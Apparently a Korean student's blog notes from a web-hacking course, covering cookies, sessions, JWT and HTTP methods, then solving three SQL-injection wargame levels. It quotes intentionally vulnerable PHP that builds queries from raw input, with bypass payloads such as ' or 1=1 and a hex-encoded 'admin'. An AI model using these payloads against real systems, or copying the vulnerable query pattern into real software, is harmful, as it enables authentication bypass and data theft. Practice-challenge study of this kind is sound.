웹해킹/이론

[Whois] 정보보안교육 - 웹해킹 1주차

美味코드 2021. 9. 13. 22:27

 

쿠키: 키 값의 형태로 클라이언트 정보를 로컬에 저장하는 역할로 문자열 정보가 패턴화 되어 있다.

세션: 주로 서버 측에서 클라이언트의 상태 정보를 저장한다. 브라우저가 종료될 경우 사라진다.

세션쿠키: 활성 웹 브라우저 세션이 있는 동안 저장된다. 브라우저를 닫을 때 삭제된다.

 

JWT: Json Web Token Json 포맷으로 클라이언트 속성을 Claim기반으로 저장, 토큰 자체를 저장하는 Self-Contained 방식으로 안전하게 전달.

 

공통점: 클라이언트 정보를 저장하는 역할을 한다. 세션과 세션쿠키, JWT는 브라우저와의 연결이 끊겼을 때 데이터를 제거한다.

차이점: 세션은 서버에서 가지고 있는 정보이며 쿠키는 서버에서 발급된 세션을 열기 위한 키 값(세션ID)이다. 클라이언트는 쿠키를 이용하고 서버는 쿠키를 받아 세션의 정보를 접근하는 방식으로 인증한다. 또한 세션 쿠키와 다르게 JWT는 토큰을 이용한 저장 방법을 따른다.

 

 

 

POST: POST를 통해 해당 URI를 요청하면 리소스를 생성한다. DB에서 INSERT에 해당한다.

GET: GET를 통해 해당 리소스를 조회한다. 리소스를 조회하고 해당 Document에 대한 자세한 정보를 가져온다. DB에서 SELECT에 해당한다.

PUT: PUT를 통해 해당 리소스를 수정한다. DB에서 UPDATE에 해당한다.

DELETE: DLETET를 통해 해당 리소스를 삭제한다. DB에서 DELETE에 해당한다.

 

 

<?php

include "./config.php";

login_chk();

$db = dbconnect();

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!

//GET 형식으로 preg_match를 이용해서 id 매칭 성공시 exit() 반환

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

//마찬가지로 pw 매칭 성공시 exit 반환

echo "<hr>query : <strong>{$query}</strong><hr><br>";

$result = @mysqli_fetch_array(mysqli_query($db,$query));

if($result['id']) solve("gremlin"); //result id 가 들어가면 solve 반환하여 문제가 풀린다.

highlight_file(__FILE__);

?>

 

방법은 sql injection 대표 방법인 주석‘ or 1=1#, 공백 %20, %09 등을 이용할 것이다.

url에 공격을 할 것인데 ?id=’ or 1=1 --%20을 사용해서 우회를 하면 클리어

 

 

<?php

include "./config.php";

login_chk();

$db = dbconnect();

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

 

$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";

echo "<hr>query : <strong>{$query}</strong><hr><br>";

 

$result = @mysqli_fetch_array(mysqli_query($db,$query));

if($result['id'] == 'admin') solve("cobolt");

//id값을 admin 으로 바꿔줄 경우 solve 함수가 실행된다.

elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";

highlight_file(__FILE__);

?>

?id=’ or id=’admin’--%20을 사용해서 id 값에 admin을 또는 값을 넣어 클리어

 

 

 

<?php

include "./config.php";

login_chk();

$db = dbconnect();

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");

if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");

 

$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";

echo "<hr>query : <strong>{$query}</strong><hr><br>";

$result = @mysqli_fetch_array(mysqli_query($db,$query));

 

if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

if($result['id'] == 'admin') solve("goblin");

//result id값이 admin일 경우 solve 함수 호출

highlight_file(__FILE__);

?>

 

화면 상에 id 값이 guest로 고정되어 있다. 2번처럼 명령어를 전달할 수 없는데 그 이유는 preg_match에서 \를 필터링 한다. 대신 값을 16진수로 바꾸어 공격할 것이다.

0x61646D696E이다

'웹해킹 > 이론' 카테고리의 다른 글

[Whois] 정보보안교육 - 웹해킹 2주차(1)  (0) 2021.09.20